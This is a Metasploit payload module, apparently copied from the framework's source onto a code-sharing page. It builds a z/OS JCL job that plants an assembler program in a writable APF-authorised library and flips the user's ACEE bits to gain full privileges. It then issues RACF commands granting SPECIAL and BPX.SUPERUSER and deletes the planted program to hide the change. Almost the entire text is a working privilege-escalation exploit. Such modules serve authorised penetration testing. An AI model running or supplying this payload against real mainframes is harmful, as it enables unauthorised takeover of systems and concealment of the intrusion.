Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
##
7
# This is a JCL command payload for z/OS - mainframe.
8
#   It will escalate privileges of an account on the system if the user
9
#   can identify a writable APF authorised library "APFLIB"
10
#
11
#   See https://www.ibm.com/support/knowledgecenter/zosbasics/com.ibm.zos.zsecurity/zsecc_060.htm
12
#   for more information on APF Authorized Libraries
13
#
14
#   Thank you to Ayoub & The Brummie for the assembler ideas.
15
#
16
#   To-do (BeS 4/11/17)
17
#     Add options for privileges that can be added.
18
#     Auto scan for writable APF authorized library.
19
##
20

21

22
module MetasploitModule
23
  CachedSize = 3156
24
  include Msf::Payload::Single
25
  include Msf::Payload::Mainframe
26

27
  def initialize(info = {})
28
    super(merge_info(
29
      info,
30
      'Name'          => 'JCL to Escalate Privileges',
31
      'Description'   => %q{(Elevate privileges for user. Adds
32
         SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using
33
         an unsecured/updateable APF authorized library (APFLIB) and updating
34
         the user's ACEE using this program/library.  Note: This privesc only
35
         works with z/OS systems using RACF, no other ESM is supported.)},
36
      'Author'        =>
37
        [
38
          'Bigendian Smalls',
39
          'Ayoub'
40
        ],
41
      'License'        => MSF_LICENSE,
42
      'Platform'       => 'mainframe',
43
      'Arch'           => ARCH_CMD,
44
      'Handler'        => Msf::Handler::None,
45
      'Session'        => Msf::Sessions::MainframeShell,
46
      'PayloadType'    => 'cmd',
47
      'RequiredCmd'    => 'jcl',
48
      'Payload'        =>
49
      {
50
        'Offsets' => {},
51
        'Payload' => ''
52
      }
53
    ))
54
    register_options(
55
      [
56
        Opt::RPORT(21),
57
        OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
58
        OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
59
        OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
60
        OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
61
        OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
62
        OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"]),
63
        OptString.new('APFLIB', [true, "APF Authorized Library to use", "SYS1.LINKLIB"])
64
      ],
65
      self.class
66
    )
67
    register_advanced_options(
68
      [
69
        OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
70
        OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
71
      ],
72
      self.class
73
    )
74
  end
75

76
  ##
77
  # Construct Payload
78
  ##
79
  def generate(_opts = {})
80
    super + command_string
81
  end
82

83
  ##
84
  # Setup replacement vars from options if need be
85
  ##
86
  def command_string
87
    jcl_jobcard +
88
      "//S1        EXEC ASMACLG,PARM.L='AC(1)'\n" \
89
      "//C.SYSLIB  DD DSN=SYS1.SISTMAC1,DISP=SHR\n" \
90
      "//          DD DSN=SYS1.MACLIB,DISP=SHR\n" \
91
      "//L.SYSLMOD DD DISP=SHR,DSN=#{datastore['APFLIB']}(APFPRIV)\n" \
92
      "//C.SYSIN   DD *,DLM=ZZ\n" \
93
      "         TITLE  'APF MISCONFIG PRIVESC FOR MSF'\n" \
94
      "APFPRIV  CSECT\n" \
95
      "***********************************************************************\n" \
96
      "*         SETUP registers and save areas                              *\n" \
97
      "***********************************************************************\n" \
98
      "MAIN     STM   14,12,12(13)    # Save caller reg\n" \
99
      "         LR    8,15            # Base register\n" \
100
      "         USING MAIN,8          # R8 for addressability\n" \
101
      "         GETMAIN RU,LV=72      # for our savearea\n" \
102
      "         ST    13,4(,1)        # Store Caller's SA address\n" \
103
      "         ST    1,8(,13)        # Put my SA addr in caller's SA\n" \
104
      "         LR    13,1            # R13 has addr of our SA\n" \
105
      "         DS    0H              # halfword boundaries\n" \
106
      "***********************************************************************\n" \
107
      "* MAIN PROGRAM STMTS HERE                                             *\n" \
108
      "***********************************************************************\n" \
109
      "         BAL   6,AUTHUSR       # branch authuser routine\n" \
110
      "         B     EXITP           # exit time\n" \
111
      "***********************************************************************\n" \
112
      "* AUTHUSER ROUTINE                                                    *\n" \
113
      "***********************************************************************\n" \
114
      "AUTHUSR  MODESET KEY=ZERO,MODE=SUP  # let's get into supervisor mode!\n" \
115
      "         L     11,X'224'       # R11 points to ASCB\n" \
116
      "         L     11,X'6C'(11)    # R11 points to ASXB\n" \
117
      "         L     11,X'C8'(11)    # R11 points to ACEE\n" \
118
      "         NI    X'26'(11),X'00' # Clear Byte x'26'\n" \
119
      "         OI    X'26'(11),X'B1' # Add Oper & Special to userproc\n" \
120
      "         NI    X'27'(11),X'00' # Clear Byte x'27\n" \
121
      "         OI    X'27'(11),X'80' # ALTER access to all resource\n" \
122
      "         MODESET KEY=NZERO,MODE=PROB # back to normal\n" \
123
      "         XR    15,15           # set rc=0 regardless\n" \
124
      "         BR    6               # R6 has return reg\n" \
125
      "***********************************************************************\n" \
126
      "*        Cleanup and exit - R15 has exit code                         *\n" \
127
      "***********************************************************************\n" \
128
      "EXITP    LR    1,13            # Move my SA into R1\n" \
129
      "         LR    2,15            # SAVE RC\n" \
130
      "         L     13,4(,13)       # RST Caller SA Addr\n" \
131
      "         L     14,12(13)       # Reload R14\n" \
132
      "         FREEMAIN RU,A=(1),LV=72\n" \
133
      "         LR    15,2            # RESTORE RC\n" \
134
      "         LM    0,12,20(13)     # Reload all but 14/15\n" \
135
      "         BCR   15,14           # Branch back to caller\n" \
136
      "         END   APFPRIV            # end pgm\n" \
137
      "ZZ\n" \
138
      "//S2        EXEC PGM=IKJEFT01\n" \
139
      "//SYSTSIN   DD *\n" \
140
      " ALU #{datastore['FTPUSER']} SPECIAL\n" \
141
      " PE BPX.SUPERUSER CLASS(FACILITY) ID(#{datastore['FTPUSER']}) ACCESS(READ)\n" \
142
      " SETR RACL(FACILITY) REF\n" \
143
      "/*\n" \
144
      "//SYSIN     DD DUMMY\n" \
145
      "//SYSTSPRT  DD SYSOUT=*\n" \
146
      "//S3        EXEC PGM=IDCAMS\n" \
147
      "//SYSPRINT  DD SYSOUT=*\n" \
148
      "//TEMPDD    DD DSN=#{datastore['APFLIB']},DISP=SHR\n" \
149
      "//SYSIN     DD *\n" \
150
      " DELETE #{datastore['APFLIB']}(APFPRIV) FILE(TEMPDD)\n" \
151
      "/*\n" \
152
  end
153
end
154

155